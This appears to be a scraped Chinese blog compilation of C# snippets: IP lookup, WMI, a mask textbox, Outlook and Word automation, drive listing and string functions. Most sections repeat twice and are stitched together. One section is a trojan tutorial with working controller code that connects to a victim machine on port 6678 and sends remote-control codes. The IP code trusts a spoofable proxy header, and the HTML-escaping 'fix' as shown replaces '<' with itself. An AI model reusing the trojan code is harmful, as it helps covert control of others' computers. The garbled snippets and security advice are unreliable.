获取真实IP
public static string GetRealIP()
{
string ip;
try
{
HttpRequest request = HttpContext.Current.Request;
if (request.ServerVariables["HTTP_VIA"] != null)
{
ip = request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString().Split(',')[0].Trim();
}
else
{
ip = request.UserHostAddress;
}
}
catch (Exception e)
{
throw e;
}
return ip;
}
public static string GetRealIP()
{
string ip;
try
{
HttpRequest request = HttpContext.Current.Request;
if (request.ServerVariables["HTTP_VIA"] != null)
{
ip = request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString().Split(',')[0].Trim();
}
else
{
ip = request.UserHostAddress;
}
}
catch (Exception e)
{
throw e;
}
return ip;
}
获取代理IP
public static string GetViaIP()
{
string viaIp = null;
try
{
HttpRequest request = HttpContext.Current.Request;
if (request.ServerVariables["HTTP_VIA"] != null)
{
viaIp = request.UserHostAddress;
}
}
catch (Exception e)
{
throw e;
}
return viaIp;
2009年3月1日星期日
C#获取IP地址、子网掩码和网关地址
文这段代码是用C#语言实现获取IP地址、子网掩码和网关地址,首先要添加对程序集System.Management的引用
using System;
using System.Management;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration");
ManagementObjectCollection nics = mc.GetInstances();
foreach (ManagementObject nic in nics)
{
if (Convert.ToBoolean(nic["ipEnabled"]) == true)
{
Console.WriteLine((nic["IPAddress"] as String[])[0]);
Console.WriteLine((nic["IPSubnet"] as String[])[0]);
Console.WriteLine((nic["DefaultIPGateway"] as String[])[0]);
}
}
}
}
}
本文来自: IT知道网(http://www.itwis.com) 详细出处参考:http://www.itwis.com/html/net/c/20081111/2774.html
using System;
using System.Management;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration");
ManagementObjectCollection nics = mc.GetInstances();
foreach (ManagementObject nic in nics)
{
if (Convert.ToBoolean(nic["ipEnabled"]) == true)
{
Console.WriteLine((nic["IPAddress"] as String[])[0]);
Console.WriteLine((nic["IPSubnet"] as String[])[0]);
Console.WriteLine((nic["DefaultIPGateway"] as String[])[0]);
}
}
}
}
}
本文来自: IT知道网(http://www.itwis.com) 详细出处参考:http://www.itwis.com/html/net/c/20081111/2774.html
C# 开发掩码输入文本框
掩码输入是一种常用的控件,第一次看见这种控件是在Visual FoxPro中!感觉功能强,不错。现在用C#开发ASP.NET应用程序也需要用到这种输入的控件,便琢磨着自己做一个。但是由于Visual FoxPro中的掩码文本框功能太强了,一时还不敢去做。网上也有一些自制的如:http://www.weste.net/00/-/0966988.html,但是感觉功能都不很适合。后来在http://www.stedy.com上看到了他们做的掩码文本框,感觉这种方式在Web应用上很适合,就把客户端代码down下来了!(stedy software 作的是产品,要花钱!而且很贵79.99USD,ft。)
分析了一下stedy的客户端脚本(VBScript)他们为每一种掩码规则都作了一个客户端的方法。如下面是日期掩码格式化的客户端脚本代码:
function maskDate(sValue, sType)
dim zMonth
zMonth = array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December")
if len(trim(sValue)) = 0 then
maskDate = ""
setViewState false
elseif not(isDate(sValue)) then
maskDate = "# INVALID DATE ENTERED #"
setViewState true
else
select case (sType)
case "medium"
maskDate = day(dateValue(sValue)) & "-" & left(zMonth(month(dateValue(sValue)) - ), ) & "-" & year(dateValue(sValue))
case "long"
maskDate = zMonth(month(dateValue(sValue)) - ) & " " & day(dateValue(sValue)) & ", " & year(dateValue(sValue))
case else
maskDate = formatDateTime(sValue, vbShortDate)
end select
setViewState false
end if
end function
可以看到处理方式是将文本框中的字符串格式化,如果格式化成功则显示为格式化后的字符串,否则显示"# INVALID DATE ENTERED"。其他的方法与之类似,像maskCurrency, maskSSN什么的。
MaskTextBox客户端有两个自定义属性
第一个是掩码格式,第二个是文本框真实值,如:¥0.00真实值为:0.00。
目前遇到的问题有一个:
客户端的文本框如何才能回传给服务器上面所说的两个属性?
想了半天,觉着还是用一个Hidden类型的控件储存掩码文本框的真实值。这样回传给服务器的时候就能通过对应的Hidden控件的Value属性取得真实值!
C# 代码片段如下:
protected override void Render(HtmlTextWriter output)
{
output.WriteBeginTag("input");
output.WriteAttribute("type","hidden");
output.WriteAttribute("value","");
output.WriteAttribute("id","__"+this.UniqueID);
output.WriteAttribute("name","__"+this.UniqueID);
output.Write(HtmlTextWriter.TagRightChar);
base.Render(output);
}
分析了一下stedy的客户端脚本(VBScript)他们为每一种掩码规则都作了一个客户端的方法。如下面是日期掩码格式化的客户端脚本代码:
function maskDate(sValue, sType)
dim zMonth
zMonth = array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December")
if len(trim(sValue)) = 0 then
maskDate = ""
setViewState false
elseif not(isDate(sValue)) then
maskDate = "# INVALID DATE ENTERED #"
setViewState true
else
select case (sType)
case "medium"
maskDate = day(dateValue(sValue)) & "-" & left(zMonth(month(dateValue(sValue)) - ), ) & "-" & year(dateValue(sValue))
case "long"
maskDate = zMonth(month(dateValue(sValue)) - ) & " " & day(dateValue(sValue)) & ", " & year(dateValue(sValue))
case else
maskDate = formatDateTime(sValue, vbShortDate)
end select
setViewState false
end if
end function
可以看到处理方式是将文本框中的字符串格式化,如果格式化成功则显示为格式化后的字符串,否则显示"# INVALID DATE ENTERED"。其他的方法与之类似,像maskCurrency, maskSSN什么的。
MaskTextBox客户端有两个自定义属性
第一个是掩码格式,第二个是文本框真实值,如:¥0.00真实值为:0.00。
目前遇到的问题有一个:
客户端的文本框如何才能回传给服务器上面所说的两个属性?
想了半天,觉着还是用一个Hidden类型的控件储存掩码文本框的真实值。这样回传给服务器的时候就能通过对应的Hidden控件的Value属性取得真实值!
C# 代码片段如下:
protected override void Render(HtmlTextWriter output)
{
output.WriteBeginTag("input");
output.WriteAttribute("type","hidden");
output.WriteAttribute("value","");
output.WriteAttribute("id","__"+this.UniqueID);
output.WriteAttribute("name","__"+this.UniqueID);
output.Write(HtmlTextWriter.TagRightChar);
base.Render(output);
}
用C#实现木马程序分析
用C#实现木马程序分析
前言:
因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。 这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求
使用了.NET类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion
2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
//提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" +"\r");
try
{
stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}
3、控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}
前言:
因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。 这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求
使用了.NET类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion
2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
//提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" +"\r");
try
{
stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}
3、控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}
C#调出Outlook界面并发送指定附件
C#调出Outlook界面并发送指定附件
--------------------------------------------------------------------------------
发表时间:2004-8-10
作者:未知[获得此文档时候没有作者记录,深感抱歉,本文档全为转载]
网络上讲的C#调用Outlook界面发送邮件的例子举不胜数,但都是将调出简单的界面,设置收件人地址、邮件标题、正文内容等,但对于发送指定附件的说明非常少。也有实现的,却是采用引入Outlook对象库,我不想只为了如此一个小功能去引入那么大个东东,太恶心!刚好也想给CrossFile2.0加入这个小功能,于是乎昨晚仔细研究了下Outlook的调用参数,发现还是可以用简单的方式实现的,现贴出分享如下:
Microsoft.Win32.RegistryKey rKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(@"mailto\shell\open\command");//这里我们查找系统的缺省邮件客户程序,其他的客户程序我没有试验过,不知道这种方式是否可行
if(rKey != null)
{//这里查找Outlook应用程序所在位置,也可以用其他方式去查
string path = rKey.Getvalue("").ToString() + " ";
path = path.Substring(0, path.IndexOf(" "));
path = path.Replace("\"", "");
rKey.Close();
try
{
System.Diagnostics.Process.Start(path, "-c IPM.Note /m myfriend@hotmail.com&subject=Hello " + this._imagePath);//调用执行Outlook,主要注意后面的参数,附件的文件地址空格隔开
}
catch
{
}
}
--------------------------------------------------------------------------------
发表时间:2004-8-10
作者:未知[获得此文档时候没有作者记录,深感抱歉,本文档全为转载]
网络上讲的C#调用Outlook界面发送邮件的例子举不胜数,但都是将调出简单的界面,设置收件人地址、邮件标题、正文内容等,但对于发送指定附件的说明非常少。也有实现的,却是采用引入Outlook对象库,我不想只为了如此一个小功能去引入那么大个东东,太恶心!刚好也想给CrossFile2.0加入这个小功能,于是乎昨晚仔细研究了下Outlook的调用参数,发现还是可以用简单的方式实现的,现贴出分享如下:
Microsoft.Win32.RegistryKey rKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(@"mailto\shell\open\command");//这里我们查找系统的缺省邮件客户程序,其他的客户程序我没有试验过,不知道这种方式是否可行
if(rKey != null)
{//这里查找Outlook应用程序所在位置,也可以用其他方式去查
string path = rKey.Getvalue("").ToString() + " ";
path = path.Substring(0, path.IndexOf(" "));
path = path.Replace("\"", "");
rKey.Close();
try
{
System.Diagnostics.Process.Start(path, "-c IPM.Note /m myfriend@hotmail.com&subject=Hello " + this._imagePath);//调用执行Outlook,主要注意后面的参数,附件的文件地址空格隔开
}
catch
{
}
}
C#操作Word完全方法
C#操作Word完全方法
前提:
导入COM库:Microsoft word 11.0 Object Library.
引用里面就增加了:
创建新Word
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
打开文档:
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
object fileName = @"E:CCCXCXXTestDoc.doc";
oDoc = oWord.Documents.Open(ref fileName,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing);
导入模板
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
object fileName = @"E:XXXCCXTest.doc";
oDoc = oWord.Documents.Add(ref fileName, ref oMissing, ref oMissing, ref oMissing);
添加新表
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
表插入行
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);
单元格合并
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);
Word.Cell cell = newTable.Cell(1, 1);
cell.Merge(newTable.Cell(1, 2));
单元格分离
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(oMissing, ref oMissing, ref oMissing);
object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);
Word.Cell cell = newTable.Cell(1, 1);
cell.Merge(newTable.Cell(1, 2));
object Rownum = 2;
object Columnnum = 2;
cell.Split(ref Rownum, ref Columnnum);
通过段落控制插入
object oMissing = System.Reflection.Missing.Value;
object oEndOfDoc = @"\endofdoc"; /* endofdoc is a predefined bookmark */
//Start Word and create a new document.
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
//Insert a paragraph at the beginning of the document.
Word.Paragraph oPara1;
oPara1 = oDoc.Content.Paragraphs.Add(ref oMissing);
oPara1.Range.Text = "Heading 1";
oPara1.Range.Font.Bold = 1;
oPara1.Format.SpaceAfter = 24; //24 pt spacing after paragraph.
oPara1.Range.InsertParagraphAfter();
前提:
导入COM库:Microsoft word 11.0 Object Library.
引用里面就增加了:
创建新Word
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
打开文档:
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
object fileName = @"E:CCCXCXXTestDoc.doc";
oDoc = oWord.Documents.Open(ref fileName,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing);
导入模板
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
object fileName = @"E:XXXCCXTest.doc";
oDoc = oWord.Documents.Add(ref fileName, ref oMissing, ref oMissing, ref oMissing);
添加新表
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
表插入行
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);
单元格合并
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);
Word.Cell cell = newTable.Cell(1, 1);
cell.Merge(newTable.Cell(1, 2));
单元格分离
复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(oMissing, ref oMissing, ref oMissing);
object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);
Word.Cell cell = newTable.Cell(1, 1);
cell.Merge(newTable.Cell(1, 2));
object Rownum = 2;
object Columnnum = 2;
cell.Split(ref Rownum, ref Columnnum);
通过段落控制插入
object oMissing = System.Reflection.Missing.Value;
object oEndOfDoc = @"\endofdoc"; /* endofdoc is a predefined bookmark */
//Start Word and create a new document.
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
//Insert a paragraph at the beginning of the document.
Word.Paragraph oPara1;
oPara1 = oDoc.Content.Paragraphs.Add(ref oMissing);
oPara1.Range.Text = "Heading 1";
oPara1.Range.Font.Bold = 1;
oPara1.Format.SpaceAfter = 24; //24 pt spacing after paragraph.
oPara1.Range.InsertParagraphAfter();
C#获取移动硬盘U盘盘符名
foreach (DriveInfo disk in DriveInfo.GetDrives())
{
if (disk.DriveType == DriveType.Removable)
{
checkedListBox1.Items.Add(disk.Name.ToString(), true);
RemoveDiskSum++;
}
}
{
if (disk.DriveType == DriveType.Removable)
{
checkedListBox1.Items.Add(disk.Name.ToString(), true);
RemoveDiskSum++;
}
}
C#常用字符函数
C#常用字符函数
1.Compare比较字符串的内容,考虑文化背景(场所),确定某些字符是否相等
CompareOrdinal
与Compare一样,但不考虑文化背景
Format
格式化包含各种值的字符串和如何格式化每个值的说明符
IndexOf
定位字符串中第一次出现某个给定子字符串或字符的位置
IndexOfAny
定位字符串中第一次出现某个字符或一组字符的位置
LastIndexOf
与IndexOf一样,但定位最后一次出现的位置
LastIndexOfAny
与IndexOfAny,但定位最后一次出现的位置
PadLeft
在字符串的开头,通过添加指定的重复字符填充字符串
PadRight
在字符串的结尾,通过添加指定的重复字符填充字符串
Replace
用另一个字符或子字符串替换字符串中给定的字符或子字符串
Split
在出现给定字符的地方,把字符串拆分为一个子字符串数组
2.Substring
在字符串中获取给定位置的子字符串
ToLower
把字符串转换为小写形式
ToUpper
把字符串转换为大写形式
Trim
删除首尾的空白
3、 变量.ToString() 字符型转换 转为字符串 12345.ToString("n"); //生成 12,345.00 12345.ToString("C"); //生成 ¥12,345.00 12345.ToString("e"); //生成 1.234500e+004 12345.ToString("f4"); //生成 12345.0000 12345.ToString("x"); //生成 3039 (16进制) 12345.ToString("p"); //生成 1,234,500.00%
4、变量.Length 数字型 取字串长度: 如: string str="中国"; int Len = str.Length ; //Len是自定义变量, str是求测的字串的变量名
5、System.Text.Encoding.Default.GetBytes(变量) 字码转换 转为比特码 如:byte[] bytStr = System.Text.Encoding.Default.GetBytes(str); 然后可得到比特长度: len = bytStr.Length;
6、System.Text.StringBuilder("") 字符串相加,(+号是不是也一样?) 如:System.Text.StringBuilder sb = new System.Text.StringBuilder(""); sb.Append("中华"); sb.Append("人民"); sb.Append("共和国");
7、变量.Substring(参数1,参数2); 截取字串的一部分,参数1为左起始位数,参数2为截取几位。 如:string s1 = str.Substring(0,2);
8、String user_IP=Request.ServerVariables["REMOTE_ADDR"].ToString(); 取远程用户IP地址
9、穿过代理服务器取远程用户真实IP地址: if(Request.ServerVariables["HTTP_VIA"]!=null){ string user_IP=Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString(); }else{ string user_IP=Request.ServerVariables["REMOTE_ADDR"].ToString(); }
10、 Session["变量"]; 存取Session值; 如,赋值: Session["username"]="小布什";
取值: Object objName=Session["username"]; String strName=objName.ToString(); 清空: Session.RemoveAll();
11、String str=Request.QueryString["变量"]; 用超链接传送变量。 如在任一页中建超链接:<'a href="Edit.aspx?fbid="23">点击<'/'a> 在Edit.aspx页中取值:String str=Request.QueryString["fdid"];
12、DOC对象.CreateElement("新建节点名"); 创建XML文档新节点
13、父节点.AppendChild(子节点); 将新建的子节点加到XML文档父节点下
14、 父节点.RemoveChild(节点); 删除节点
15、Response Response.Write("字串"); Response.Write(变量); 向页面输出。
Response.Redirect("URL地址"); 跳转到URL指定的页面
16、char.IsWhiteSpce(字串变量,位数)——逻辑型 查指定位置是否空字符; 如: string str="中国 人民"; Response.Write(char.IsWhiteSpace(str,2)); //结果为:True, 第一个字符是0位,2是第三个字符。
17、char.IsPunctuation('字符') --逻辑型 查字符是否是标点符号 如:Response.Write(char.IsPunctuation('A')); //返回:False
18、(int)'字符' 把字符转为数字,查代码点,注意是单引号。 如: Response.Write((int)'中'); //结果为中字的代码:20013
19、(char)代码 把数字转为字符,查代码代表的字符。 如: Response.Write((char)22269); //返回“国”字。
20、 Trim() 清除字串前后空格
21 、字串变量.Replace("子字串","替换为") 字串替换 如: string str="中国"; str=str.Replace("国","央"); //将国字换为央字 Response.Write(str); //输出结果为“中央”
再如:(这个非常实用)
string str="这是<'script>脚本"; str =str.Replace("<","<"); //将左尖括号替换为<> 与 < 与 (或换为<,但估计经XML存诸后,再提出仍会还原) Response.Write(str); //显示为:“这是<'script>脚本”
如果不替换,<'script>将不显示,如果是一段脚本,将运行;而替换后,脚本将不运行。 这段代码的价值在于:你可以让一个文本中的所有HTML标签失效,全部显示出来,保护你的具有交互性的站点。 具体实现:将你的表单提交按钮脚本加上下面代码: string strSubmit=label1.Text; //label1是你让用户提交数据的控件ID。 strSubmit=strSubmit.Replace("<","<"); 然后保存或输出strSubmit。 用此方法还可以简单实现UBB代码。
22、Math.Max(i,j) 取i与j中的最大值 如 int x=Math.Max(5,10); // x将取值 10
加一点吧 23、字串对比...... 加一点吧
23、字串对比一般都用: if(str1==str2){ } , 但还有别的方法:
(1)、 string str1; str2 //语法: str1.EndsWith(str2); __检测字串str1是否以字串str2结尾,返回布尔值.如: if(str1.EndsWith(str2)){ Response.Write("字串str1是以"+str2+"结束的"); }
(2)、 //语法:str1.Equals(str2); __检测字串str1是否与字串str2相等,返回布尔值,用法同上.
(3)、 //语法 Equals(str1,str2); __检测字串str1是否与字串str2相等,返回布尔值,用法同上.
24、IndexOf() 、LastIndexOf() 查找字串中指定字符或字串首次(最后一次)出现的位置,返回索引值,如: str1.IndexOf("字"); //查找“字”在str1中的索引值(位置) str1.IndexOf("字串");//查找“字串”的第一个字符在str1中的索引值(位置) str1.IndexOf("字串",3,2);//从str1第4个字符起,查找2个字符,查找“字串”的第一个字符在str1中的索引值(位置)
25、Insert() 在字串中指定索引位插入指定字符。如: str1.Insert(1,"字");在str1的第二个字符处插入“字”,如果str1="中国",插入后为“中字国”;
26、PadLeft()、PadRight() 在字串左(或右)加空格或指定char字符,使字串达到指定长度,如: <% string str1="中国人"; str1=str1.PadLeft(10,'1'); //无第二参数为加空格 Response.Write(str1); //结果为“1111111中国人” , 字串长为10 %>
27、Remove() 从指定位置开始删除指定数的字符 字串对比一般都用: if(str1==str2){ } , 但还有别的方法:
1.Compare比较字符串的内容,考虑文化背景(场所),确定某些字符是否相等
CompareOrdinal
与Compare一样,但不考虑文化背景
Format
格式化包含各种值的字符串和如何格式化每个值的说明符
IndexOf
定位字符串中第一次出现某个给定子字符串或字符的位置
IndexOfAny
定位字符串中第一次出现某个字符或一组字符的位置
LastIndexOf
与IndexOf一样,但定位最后一次出现的位置
LastIndexOfAny
与IndexOfAny,但定位最后一次出现的位置
PadLeft
在字符串的开头,通过添加指定的重复字符填充字符串
PadRight
在字符串的结尾,通过添加指定的重复字符填充字符串
Replace
用另一个字符或子字符串替换字符串中给定的字符或子字符串
Split
在出现给定字符的地方,把字符串拆分为一个子字符串数组
2.Substring
在字符串中获取给定位置的子字符串
ToLower
把字符串转换为小写形式
ToUpper
把字符串转换为大写形式
Trim
删除首尾的空白
